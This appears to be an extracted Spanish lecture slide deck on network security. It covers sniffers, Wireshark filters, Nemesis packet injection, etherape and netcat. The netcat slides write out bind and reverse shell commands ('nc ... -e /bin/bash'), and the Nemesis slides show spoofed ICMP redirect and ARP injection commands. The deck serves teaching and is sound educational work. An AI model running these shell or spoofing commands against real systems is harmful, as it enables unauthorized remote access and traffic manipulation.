Seguridad Informática Sniffers · 2009-05-22 · Roberto Gómez Cárdenas 2 Seguridad Informática...
Transcript of Seguridad Informática Sniffers · 2009-05-22 · Roberto Gómez Cárdenas 2 Seguridad Informática...
1Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 1Dr. Roberto Gómez
Sniffers
Roberto Gómez [email protected]
Lámina 2Dr. Roberto Gómez
Los sniffers
características y ejemplos
2Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 3Dr. Roberto Gómez
Sniffers y Analizadores
• Un sniffer es un proceso que "olfatea" el tráfico que se genera en la red *a nivel de enlace*; – puede leer toda la información que circule por el tramo de red en el que se
encuentre. – se pueden capturar claves de acceso, datos que se transmiten, numeros de
secuencia, etc...
• Un analizador de protocolos es un sniffer al que se le ha añadido funcionalidad suficiente como para entender y traducir los protocolos que se están hablando en la red. – debe tener suficiente funcionalidad como para entender las tramas de
nivel de enlace, y los paquetes que transporten.
• Diferencia:– normalmente la diferencia entre un sniffer y un analizador de protocolos,
es que el segundo está a la venta en las tiendas y no muestra claves de acceso.
Lámina 4Dr. Roberto Gómez
Sniffers
¿Cómo se comunican dos computadoras en una red local?
computadora en modo promiscuo
snifeando (husmeando)
3Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 5Dr. Roberto Gómez
Lista sniffers para Windows
• Ethereal wireshark
• WinDump
• Network Associates Sniffer (for Windows)
• WinNT Server (Network Monitor)
• BlackICE Pro
• CiAll
• EtherPeek
• Intellimax LanExplorer
• Triticom LANdecoder32
Lámina 6Dr. Roberto Gómez
Lista Sniffers para Macintosh
• EtherPeek– http://www.aggroup.com/
– EtherPeek has been around for years in a Macintosh version and has also ported their software toWindows.
4Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 7Dr. Roberto Gómez
Lista sniffers para Unix
• esniff.c (phrack 45)
• tcpdump
• Linsniffer
• Linuxsniffer.
• Hunt
• Sniffit
• netXray
• ethereal
• snoop
• snort
• trinux
• karpski
• SuperSniffer v1.3
• exdump
Lámina 8Dr. Roberto Gómez
Lista sniffers DOS
• Sniffer(r) Network Analyzer– http://www.nai.com
• The Gobbler and Beholder– http://nmrc.org/files/msdos/gobbler.zip
• Klos PacketView– http://www.klos.com
5Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 9Dr. Roberto Gómez
El sniffer ethereal, ahora wireshark
http://www.ethereal.comhttp://www.wireshark.org/
Lámina 10Dr. Roberto Gómez
Ethereal
• Ethereal es un analizador de tráfico de red, o "sniffer", para sistemas operativos Unix y sistemas basados en Unix, así como sistemas Windows
• Utiliza:– GTK+, una libreria que provee una interface de usuario
grafica,
– libpcap,una libreria para filtrar y capturar paquetes,
• Posee la posibilidad de ver la reconstruccion del fluido de una sesión TCP.
• Autor: Gerald Combs (julio 1998 - version 0.2.0. )
6Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 11Dr. Roberto Gómez
Características
• Datos pueden ser capturados del cable de unaconexión viva, o leídos de un archivo capturado.
• Puede leer archivos de datos de diferentes paquetesde captura de datos– tcpdump (libpcap), NAI's Sniffer™ (compressed
and uncompressed), Sniffer™ Pro, NetXray™, Sun snoop and atmsnoop, Shomiti/Finisar Surveyor,AIX's iptrace, Microsoft's Network Monitor, Novell'sLANalyzer, RADCOM's WAN/LAN Analyzer, etc
Lámina 12Dr. Roberto Gómez
Más características
• Datos pueden ser capturados de Ethernet, FDDI, PPP, Token-Ring, IEEE 802.11, Classical IP overATM, e interfaces tipo loopback– no todos los tipos son soportados en todas las plataformas
• Datos pueden verse a través de un GUI o de unaterminal en texto plano.
• La salida puede ser guardada o impresa como textoplano o Postcript
• Toda, o parte, de la captura puede ser almcenada en disco.
7Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 13Dr. Roberto Gómez
En un principio era asi
Lámina 14Dr. Roberto Gómez
La nueva vista
packet list pane
tree view pane
data view pane
menu principal
main toolbar
filter toolbar
8Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 15Dr. Roberto Gómez
La barra de status (statusbar)
• Lado izquierdo información acercar del archivo de captura– nombre, tamaño y el tiempo transcurrido desde que empezó
la captura
• El lado derecho muestra el numero de paquetes en el archivo de captura– P: numero paquetes capturados
– D: numero de paquetes desplegados actualmente
– M: numero de paquetes marcados
Lámina 16Dr. Roberto Gómez
Menu principal y capturandopaquetes
9Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 17Dr. Roberto Gómez
Ventana para definir opciones captura
Lámina 18Dr. Roberto Gómez
El panel: main tool bar
start/stop capture
abrir archivosguardar comocerrar
recargar el archivo de capturaimprimir
zoom in los datos del paquete
zoom out los datos del paqueteestablecer tamaño normal del paquete
encontrar un paquete
encontrar el paquete siguienteencontrar el paquete previo
ir al paquete
ir al primer paqueteir al último paquete
filtros de capturas
filtros de desplieguedefinir reglas desplegar
paquetes
editar (preferences) parámetros operación ethereal
10Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 19Dr. Roberto Gómez
Lámina 20Dr. Roberto Gómez
Viendo paquete en ventanaseparada
11Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 21Dr. Roberto Gómez
Opciones despliegue: menu view
muestra-oculta
barras herramientas
muestra-oculta
paneles
Lámina 22Dr. Roberto Gómez
Ejercicio
• Lanza ethereal por 1 minuto– no desplegar el tipo de tarjeta
– actualizar los paquetes en tiempo real
• Identifique 5 protocolos
• Tome un paquete y desplieguelo en otra ventana– identifique tres campos de los encabezados
12Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 23Dr. Roberto Gómez
Filtrados de paquetes
• Dos tipos de filtros– a nivel captura
– a nivel despliegue
Lámina 24Dr. Roberto Gómez
Filtros para despliegue paquetes
13Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 25Dr. Roberto Gómez
Filtrando paquetes en la captura
• Ethereal utiliza lenguaje libpcap para definir sus filtros.– mayor información man page de tcpdump
• Filtro se define en el campo filter de las preferencias del cuadro diálogo captura
• Un filtro esta formado por una serie de expresiones primitivas conectadas por conjunciones:
• Ejemplos
[not] primitiva [and | or [not] primitiva ... ]
tcp port 23 and host 10.0.0.5tcp port 23 and not host 10.0.0.5
Lámina 26Dr. Roberto Gómez
Sintaxis filtrado de hosts
captura todos los paquetes cuando el host es el origensrc host host
captura todos los paquetes cuando el host es el destinodst host host
host es una direccion IP o un nombre de hosthost host
DescripcionSintaxis
captura todos los paquetes cuya direccion origen es10.10.10.10
src host 10.10.10.10
captura todos los paquetes cuya direccion destino es10.10.10.10
dst host 10.10.10.10
captura todos paquetes provenientes y dirigidos a 10.10.10.10
host 10.10.10.10
Ejemplos
14Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 27Dr. Roberto Gómez
Sintaxis filtrado de puertos
captura todos los paquetes dondepuertoes el puerto origensrc port puerto
captura todos los paquetes dondepuertoes el puerto destinodst port puerto
captura todos los paquetes donde el puerto es fuente o destino
port puerto
DescripcionSintaxis
captura todos los paquetes donde 80 es el puerto origensrc port 80
captura todos los paquetes donde 80 es el puerto destinodst port 80
captura todos paquetes donde 80 sea el puerto origen o destinoport 80
Ejemplos
Lámina 28Dr. Roberto Gómez
Sintaxis filtrado de redes
captura todos los paquetes dondered es el origensrc net red
captura todos los paquetes dondered es el destinodst net red
captura todos los paquetes provenientes o dirigidos a la rednet red
DescripcionSintaxis
captura todos los paquetes donde la red origen es192.168src net 192.168
captura todos los paquetes donde la red destino es192.168dst net 192.168
captura todos paquetes donde la red es192.168net 192.168
Ejemplos
15Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 29Dr. Roberto Gómez
Sintaxis filtrado basado en protocolos: ethernet
ether proto \[nombre primitiva]
Sintaxis
captura todos los paquetes ARPether proto \arp
captura todos los paquetes RARPether proto \rarp
captura todos paquetes ipether proto \ip
Ejemplos
Lámina 30Dr. Roberto Gómez
Sintaxis filtrado basado en protocolos: IP
ip proto \[nombre protocolo]
Sintaxis
captura todos los paquetes UDPip proto \udp
captura todos los paquetes ICMPip proto \icmp
captura todos paquetes TCPip proto \tcp
Ejemplos
16Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 31Dr. Roberto Gómez
Combinando expresiones
concatenación&& o and
negación! o not
|| o or
SignificadoOperador
captura todos paquetes provenientes o dirigidos al host 10.10.10.10 con puertoorigen o destino 80
host 10.10.10.10 && port 80
captura todos paquetes provenientes o dirigidos al host 10.10.10.10 que no vienende la red 192.168
host 10.10.10.10 && !net 192.168
Ejemplos
Lámina 32Dr. Roberto Gómez
Dos ultimos ejemplos
• host 192.168.1.10 && ! host 192.168.1.10 – captura todos los paquetes provenientes de y dirigidos a
192.168.1.10 y no provenientes ni dirigidos de 192.168.1.10• Ethereal no aceptará este filtro indicando que la expresión rechazará
todos los paquetes
• host 192.168.1.10 && not net 192.168 – captura todos los paquetes provenientes de y dirigidos a
192.168.1.10 y no provenientes ni dirigidos de 192.168• Etheral aceptará este filtro
Recomendación: ¡verificar los filtros!
17Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 33Dr. Roberto Gómez
Disección de paquetes
• Ethereal realiza una disección de los paquetes
• Los protocolos que entiende los disecta de tal forma que se puede apreciar el payload y el encabezado
Eth.Det.
Eth.Src. Prot. datos (46-1500) CRC
EncabezadoIP
Payload: datos
EncabezadoTCP
Payload: datos-aplicaciones
Lámina 34Dr. Roberto Gómez
Buscando paquetes
• Display filter – ip.addr==192.168.0.1 and
tcp.flags.syn
• Hex Value – "00:00" encontrar próximo
paquete que contieneincluyen dos bytes null en la parte de datos
• String
18Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 35Dr. Roberto Gómez
Dos opciones interesantes
• Colorear paquetes– colorear paquetes que cumple con reglas de un filtro
– opción: Colorize Display• menú de Despliegue
• menú que surge cuando se selecciona un paquete
• Seguimiento de una sesión TCP– permite reconstruir una sesión tcp
– opción: Follow TCP Streams• menú campo del panel del árbol de tres vistas
• menú que surge cuando se selecciona un paquete
Lámina 36Dr. Roberto Gómez
Pasos colorear paquetes
• Elegir opción Edit ColoringRules, del main tool bar
• Se tiene que definir un filtro de despliegue y asociarle un color– opción new de la ventana
generada– proporcionar un nombre al filtro– después hay que definir el filtro
• Opciones definir filtro– a través de un cuadro
de diálogo (botón Expression)
– introducir expresión directamente
19Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 37Dr. Roberto Gómez
Pasos colorear paquetes
• Asociando un color– a través de los cuadros de
dialogo respectivo elegir colores foreground (caracteres) y del background (el fondo)
• Terminando– opcion ok del cuadro Chose
Color– opción ok del cuadro Edit Color
Filter– Add Color Protocols
Lámina 38Dr. Roberto Gómez
Siguiendo TCP streams
• Solo se puede dar seguimiento a protocolos orientados conexión
• Seleccionar paquete que forma parte de la sesión TCP a dar seguimiento.
• Seleccionar opción Follow TCP Streamdel menú
20Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 39Dr. Roberto Gómez
Formatos despliegue disponibles
• ASCII– datos de cada lado en ASCII, pero
alternados
– caracteres no imprimibles no se despliegan
• EBCDIC– for the big-iron freaks out there
• HEX Dump– ver todos los datos, pero no se ve
en ASCII
Lámina 40Dr. Roberto Gómez
Resumen estadísticas (summary)
• File– información general acerca archivo
captura• Time
– tiempo caputra primer y último paquete• Capture
– información fecha y hora captura fue realizada
• Display– información sobre los datos
desplegados• Traffic
– estadísticas sobre el tráfico visto– si esta definido un filtro de despliegue,
se verán valores en ambas colunes– valores en columna Captures serán
como antes– valores en columna Displayed reflejaran
valores vistos en el despliegue de información
21Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 41Dr. Roberto Gómez
Gráficas (IO Graphs)
• Graphs– Graph 1-5
• habilita la gráfica 1-5 (solo gráfica 1 esta habilitada por default)
– Color• el color de la gráfica, (no puede ser cambiado)
– Filter:• un filtro despliegue para esta gráfica (solo
paquetes que pasen este filtro serán tomados en cuenta para esta gráfica)
– Style:• el estilo de la gráfica (Line/Impulse/FBar)
• Eje X– Tick interval
• el intervalo de las x (10/1/0.1/0.01/0.001 seconds)
– Pixels per tick• usa 10/5/2/1 pixels por tick de intervalo
• Eje Y– Unidades
• la unidad para el eje Y (Packets/Tick, Bytes/Tick, Advanced...)
– Escala• la escala para el eje y
(10,20,50,100,200,500,...)
Lámina 42Dr. Roberto Gómez
Otras estadísticas
• Protocol Hierarchy
• Conversations
• End points
22Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 43Dr. Roberto Gómez
Ultimos comentarios
• Funciona para Windows 2000 – necesario contar con WinPcap, se puede obtener de
http://netgroup-serv.polito.it/winpcap/install/Default.htm
– se puede bajar de:http://www.ethereal.com
• Se cuenta con una guía del usuario en html
• También corre en las siguientes plataformas:– AIX, Tru64 UNIX (formerly Digital UNIX), Debian
GNU/Linux, Slackware Linux, Red Hat Linux, FreeBSD, NetBSD, OpenBSD, HP/UX, Sparc/Solaris 8, Windows NT and Windows Me/98/95
Lámina 44Dr. Roberto Gómez
Limitantes ethereal (y otros sniffers)
• Es lento para la lectura
• Redes switcheadas
• Redes encriptadas
• Redes de alta velocidad
23Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 45Dr. Roberto Gómez
Nemesis
Sofware de inyección de paquetes
Lámina 46Dr. Roberto Gómez
Nemesis
• Software de inserción de paquetes, que soporta– ARP, DNS, ICMP, IGMP, OSPF, RARP, RIP, TCP, UDP
• Desarrollado por Mark Grimes ([email protected], [email protected] )
• Ofrece características nuevas que no se puedenencontrar en ninguna otra herramienta de su clase.
• Inyección de paquetes puede ser controlada a nivelcapa 2 o capa 3 (como el protocolo lo permita)
• Requisitos– libnet:http://www.packetfactory.net/Projects/Libnet/– libpcap: http://www.tcpdump.org/
24Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 47Dr. Roberto Gómez
Nemesis
• Versión Unix– nemesis-1.4beta3.tar.gz (Jun 29 2003)– protocolos soportados: ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF,
RIP, TCP y UDP– plataformas: *BSD(i), Linux, [Trusted] Solaris, Mac OS X– requerimientos
• * libnet-1.0.2a
• Versión Windows– nemesis-1.4beta3.zip (Jun 29 2003)– protocolos soportados: ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF,
RIP, TCP y UDP– plataformas: Windows 9x, Windows NT, Windows 2000, Windows XP– requerimientos
• * libnetNT-1.0.2g (incluido en el archivo zip de Nemesis)• * WinPcap-2.3 o * WinPcap-3.0
Lámina 48Dr. Roberto Gómez
Ejemplos nemesis
• nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fS -fA -y 22 -P toto
– envía paquete TCP (SYN/ACK) con payload del archivoascii toto al puerto ssh, de 192.168.1.1 a 192.168.2.2
– opción –v permite visualizar el paquete inyectado
• nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt
– envia paquete UDP de 10.11.12.13:11111 al puerto de servicio de nombres de 10.1.1.2, con un payload que se lee del archivobindpkt
– de nuevo: -v usado para confirmar paquete inyectado
• nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5
– enviar paquete ICMP REDIRECT de 10.10.10.3 a 10.10.10.1 con la dirección del gateway como direcciónfuente
25Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 49Dr. Roberto Gómez
Protocolos soportados por Nemesis
• arp• dns• ethernet• icmp• igmp• ip• ospf• rip• tcp• udp
• Sintaxis comando:
nemesis <protocolo> [ opciones protocolo ]
Lámina 50Dr. Roberto Gómez
Opciones protocolo arp (1)
• Sintaxis
• Opciones ARP/RARP
nemesis arp [-rsTRvZ?] [-d Ethernet-device ] [-D destination-IP-addr] [-h sender-hardware-addr ] [-H source-MAC-addr ] [-m target-hardware-addr ] [-M destination-MAC-addr ] [-P payload-file ] [-S source IP addr ]
Dirección IP fuente-S dir-ip
Encabezado con información de acuerdo implementación Solaris-s Solaris-mode
Habilita modo RARP-R rarp-enable
Habilita respuestas ARP/RARP-r reply-enable
Archivo de payload. Máximo 1472 bytes. También se puede especificar payload de línea comandos con opción ‘-P –’
-P arch
Dirección destinos ethernet-m dir-hard
Dirección fuente (emisor) ethernet-h dir-hard
Dirección IP destino-D dir-ip
DescripciónOpción
26Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 51Dr. Roberto Gómez
Opciones protocolo arp (2)
• Sintaxis
• Opciones DATA LINK
nemesis arp [-rsTRvZ?] [-d Ethernet-device ] [-D destination-IP-addr] [-h sender-hardware-addr ] [-H source-MAC-addr ] [-m target-hardware-addr ] [-M destination-MAC-addr ] [-P payload-file ] [-S source IP addr ]
Especifica nombre (Unix) o dirección (Windows) del dispositivo ehternet a utilizar
-d Ethernet-device
Lista las interfaces de red por número para usar en inyección a nivel enlace
-Z network-inter
Especifica la dirección destino MAC (XX:XX:XX:XX:XX:XX)-M dir-hard-dest
Especifica la dirección fuente MAC (XX:XX:XX:XX:XX:XX)-H dir-hard-emis
DescripciónOpción
Lámina 52Dr. Roberto Gómez
Opciones protocolo tcp (1)
• Sintaxis
• Opciones TCP
nemesis tcp [-vZ?] [-a ack-number ] [-d Ethernet-device ] [-D destination-IP-address ] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-address ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size ] [-x source-port ] [-y destination-port ]
Número de acknowledgement dentro encabezado IP-a ACK-NUM
Especifica el offset del urgent pointer dentro encabezado TCP-u urgent-ptr
Número de secuencia dentro encabezado TCP-s seq-number
Archivo payload. Máximo 65415 bytes. También se puede especificar payload de línea comandos con opción ‘-P –’
-P arch-carga
Archivo opciones TCP (creado manualmente)-o arch-opts-TCP
Bandeas TCP (-fS/-fA/-fR/-fP/-fF/-fU/-fE/-fC)-f TCP flags
DescripciónOpción
27Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 53Dr. Roberto Gómez
Opciones protocolo tcp (2)
• Sintaxis
• Opciones TCP
nemesis tcp [-vZ?] [-a ack-number ] [-d Ethernet-device ] [-D destination-IP-address ] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-address ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size ] [-x source-port ] [-y destination-port ]
Especifica tamaño ventana dentro encabezado TCP-w window-size
Especifica el puerto fuente (emisor) dentro encabezado TCP-x source-port
Especifica el puerto destino dentro encabezado TCP-y dest-port
Habilita modo verbose-v verbose
DescripciónOpción
Lámina 54Dr. Roberto Gómez
Opciones protocolo tcp (3)
• Sintaxis
• Opciones IP
nemesis tcp [-vZ?] [-a ack-num ] [-d Ethernet-device ] [-D destination-IP-addr] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-addr ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-addr ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size] [-x source-port ] [-y destination-port ]
Especifica dirección IP destino dentro encabezado IP-D dest-IP-addr
Especifica el valor del tiempo de vida del paquete dentro del encabezado IP
-T IP-TTL
Especifica el tipo de servicio dentro encabezado IP (2, 4, 8, 24)-t IP-TOS
Especifica dirección IP fuente dentro encabezado IP-S sour-IP-addr
Archivo opciones TCP (creado manualmente)-O arch-opts-TCP
Especifica el identificador de IP dentro del encabezado IP-I IP-ID
Especifica opciones de fragmentación (-F[D],[M],[R],[offset]) en encabezado IP
-F frag-opts
DescripciónOpción
28Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 55Dr. Roberto Gómez
Opciones protocolo tcp (4)
• Sintaxis
• Opciones DATA LINK
nemesis tcp [-vZ?] [-a ack-number ] [-d Ethernet-device ] [-D destination-IP-address ] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-address ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size ] [-x source-port ] [-y destination-port ]
Especifica nombre (Unix) o dirección (Windows) del dispositivo ehternet a utilizar
-d Ethernet-device
Lista las interfaces de red por número para usar en inyección a nivel enlace
-Z network-inter
Especifica la dirección destino MAC (XX:XX:XX:XX:XX:XX)-M dir-hard-dest
Especifica la dirección fuente MAC (XX:XX:XX:XX:XX:XX)-H dir-hard-emis
DescripciónOpción
Lámina 56Dr. Roberto Gómez
Opciones protocolo udp (1)
• Sintaxis
• Opciones UDP
nemesis udp [-vZ?] [-d Ethernet-device ] [-D destination-IP-address ] [-F fragmentation-options ] [-H source-MAC-address ] [-I IP-ID ] [-M destination-MAC-address ] [-O IP-options-file ] [-P payload-file ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-x source-port ] [-y destination-port ]
Especifica el puerto fuente (emisor) dentro encabezado TCP-x source-port
Especifica el puerto destino dentro encabezado TCP-y dest-port
Habilita modo verbose-v verbose
Archivo payload. Máximo 65415 bytes. También se puede especificar payload de línea comandos con opción ‘-P –’
-P arch-carga
DescripciónOpción
29Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 57Dr. Roberto Gómez
Opciones protocolo udp (2)
• Sintaxis
• Opciones IP
nemesis udp [-vZ?] [-d Ethernet-device ] [-D destination-IP-address ] [-F fragmentation-options ] [-H source-MAC-address ] [-I IP-ID ] [-M destination-MAC-address ] [-O IP-options-file ] [-P payload-file ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-x source-port ] [-y destination-port ]
Especifica dirección IP destino dentro encabezado IP-D dest-IP-addr
Especifica el valor del tiempo de vida del paquete dentro del encabezado IP
-T IP-TTL
Especifica el tipo de servicio dentro encabezado IP (2, 4, 8, 24)-t IP-TOS
Especifica dirección IP fuente dentro encabezado IP-S sour-IP-addr
Archivo opciones TCP (creado manualmente)-O arch-opts-TCP
Especifica el identificador de IP dentro del encabezado IP-I IP-ID
Especifica opciones de fragmentación (-F[D],[M],[R],[offset]) en encabezado IP
-F frag-opts
DescripciónOpción
Lámina 58Dr. Roberto Gómez
Opciones protocolo udp (3)
• Sintaxis
• Opciones DATA LINK
nemesis udp [-vZ?] [-d Ethernet-device ] [-D destination-IP-address ] [-F fragmentation-options ] [-H source-MAC-address ] [-I IP-ID ] [-M destination-MAC-address ] [-O IP-options-file ] [-P payload-file ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-x source-port ] [-y destination-port ]
Especifica nombre (Unix) o dirección (Windows) del dispositivo ehternet a utilizar
-d Ethernet-device
Lista las interfaces de red por número para usar en inyección a nivel enlace
-Z network-inter
Especifica la dirección destino MAC (XX:XX:XX:XX:XX:XX)-M dir-hard-dest
Especifica la dirección fuente MAC (XX:XX:XX:XX:XX:XX)-H dir-hard-emis
DescripciónOpción
30Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 59Dr. Roberto Gómez
Sintaxis inyección paquetes ICMP
nemesis-icmp [-vZ?] [-a ICMP-timestamp-request-reply-transmit-time ] [-b original-destination-IP-address ] [-B original-source-IP-address ] [-c ICMP-code ] [-d Ethernet-device ] [-D destination-IP-address ] [-e ICMP-ID ] [-f original-IP-fragmentation ] [-F fragmentation-options ] [-G preferred-gateway ] [-H source-MAC-address ] [-i ICMP-type ] [-I IP-ID ] [-j original-IP-TOS ] [-J original-IP-TTL ] [-l original-IP-options-file ] [-m ICMP-mask ] [-M destination-MAC-address ] [-o ICMP-timestamp-request-transmit-time ] [-O IP-options-file ] [-p original-IP-protocol ] [-P payload-file ] [-q ICMP-injection-mode ] [-r ICMP-timestamp-request-reply-received-time ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ]
Lámina 60Dr. Roberto Gómez
Opciones ICMP paquetes ICMP
Especifica el código ICMP dentro del encabezado ICMP-c ICMP-code
Especifica el valor del tiempo de vida del paquete dentro del encabezado IP
-T IP-TTL
Especifica el tipo de servicio dentro encabezado IP (2, 4, 8, 24)-P payload-file
Especifica la dirección IP de la mascara dentro de los paquetes de mascara
-m MAC-addr
Especifica el tipo de ICMP dentro encabezado ICMP-i ICMP-type
Especifica la dirección IP del gateway para inyección redirección-G gateway
Especifica el identificador ICMP dentro encabezado ICMP-e ICMP-ID
DescripciónOpción
31Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 61Dr. Roberto Gómez
Ejemplos nemesis
• nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fS -fA -y 22 -P toto
– envía paquete TCP (SYN/ACK) con payload del archivoascii toto al puerto ssh, de 192.168.1.1 a 192.168.2.2
– opción –v permite visualizar el paquete inyectado
• nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt
– envia paquete UDP de 10.11.12.13:11111 al puerto de servicio de nombres de 10.1.1.2, con un payload que se lee del archivobindpkt
– de nuevo: -v usado para confirmar paquete inyectado
• nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5
– enviar paquete ICMP REDIRECT de 10.10.10.3 a 10.10.10.1 con la dirección del gateway como direcciónfuente
Lámina 62Dr. Roberto Gómez
Ejercicio Nemesis
• Lanzar ethereal y empezar a capturar
• Teclear lo siguiente
• Detener ethereal y buscar los paquetes inyectados
# echo Esto es un ejemplo de paquete TCP > toto
# echo This is an example of UDP packet > cachafas
# nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fSA -y 22 -P toto# nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P cachafas
# nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 –qR
# nemesis arp -v -d eth0 -H 0:1:2:3:4:5 -S 10.11.11.11 -D 10.10.10.10
32Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 63Dr. Roberto Gómez
Otros paquetes Inyectores
• Send IP– http://www.earth.li/projectpurple/progs/
sendip.html
– herramienta de comando línea quepermite enviar paquetes IP arbitrarios
• wINJECT: – inyección de paquetes para Win9x &
Win2k
– home19.inet.tele.dk/moofz/about_o.htm
• Engage Packet Builder– http://www.engagesecurity.com/products
/engagepacketbuilder/
Lámina 64Dr. Roberto Gómez
El sniffer etherape
• Monitor gráfico de red
• Modelado a partir de etherman
• Despliega actividad red en forma gráfica
• Hosts y links cambian su tamaño de acuerdo al tráfico presentado.
• Colores protocolos desplegados
• Posible filtrar tráfico
# etherape &
33Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 65Dr. Roberto Gómez
Carácterísticas
• Multiplataforma Linux, Solaris, SGI,
• Alpha, FreeBSD, NetBSD, etc...
• Múltiples modos de funcionamiento:– Capa física, IP, TCP
• Capturas en vivo o desde archivo
• Soporte de dispositivos Ethernet, FDDI, Token Ring, RDSI, PPP, SLIP
• Registro de parámetros estadísticos
Lámina 66Dr. Roberto Gómez
Diagrama de bloques
34Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 67Dr. Roberto Gómez
Interfaz usuario
• Nodos– Grupo
– Círculo
– Texto
• Enlace
• Leyenda
Lámina 68Dr. Roberto Gómez
Información estadística
• Ventana de protocolos
• Información de protocolo
• Información de nodo
35Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 69Dr. Roberto Gómez
Netcat
• La navaja suiza de TCP/IP.
• Original (by Hobbit)– BSD (Fedora 4)
– nc-1.78-2.i386.rpm
– http://www.openbsd.org/cgibin/cvsweb/src/usr.bin/nc/
• GNU netcat– netcat-0.7.1-1.i386.rpm
– http://netcat.sourceforge.net/
• Windows– Llevado a Win95 y NT por Weld Pond de L0pht
Lámina 70Dr. Roberto Gómez
¿Qué es netcat?
• Es una utilidad Unix que escribe datos a través de las conexiones de red, usando los protocolos TCP o UDP.– El parámetro utilizado para las conexiones TCP es -t,
aunque no es necesario, dado que esta es la opción por defecto.
– Para realizar conexiones UDP, puede utilizar el parámetro -u.
• Diseñada como una herramienta de backend, que puede ser usada directamente o por otros programas o scripts.
36Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 71Dr. Roberto Gómez
Principales opciones netcat
• Sintaxis:
• Algunas opciones:
Ejecutar cmd cuando se conecta, p.e. /bin/bash para ejecutar un shelle cmd
especificar un tiempo determinado para realizar conexiones .w
modo verbose, mas información, se le puede añadir otra -v para mas informaciónv
se le especifica a netcat que debe realizar negociaciones telnet.t
especificarle con esta opción el puerto a realizar una acción.p
obtiene un archivo log en Hex de la accióno
dirección numérica especifica; no hace un DNS Lookupn
lo mismo que l, pero sigue escuchando aún cuando la conexión es cerradaL
deja a un puerto abierto en espera de una conexión l
DescripciónOpción
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
Lámina 72Dr. Roberto Gómez
Ejemplos de uso
• Copia de archivos– Cliente (receptor) nc -l -p 2000 > archivo.recibido
– Servidor (emisor) nc hostremito 2000 < fichero
• Shell remoto estilo telnet– Cliente nc hostremoto 2000
– Servidor nc -l -p 2000 -e /bin/bash
• Telnet inverso– Cliente nc -l -p 2000
– Servidor nc server.example.org 2000 -e /bin/bash
• Streaming de audio– Cliente nc server.example.org 2000 | madplay
– Servidor c -l -p 2000 < fichero.mp3
37Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 73Dr. Roberto Gómez
Escaneo de puertos
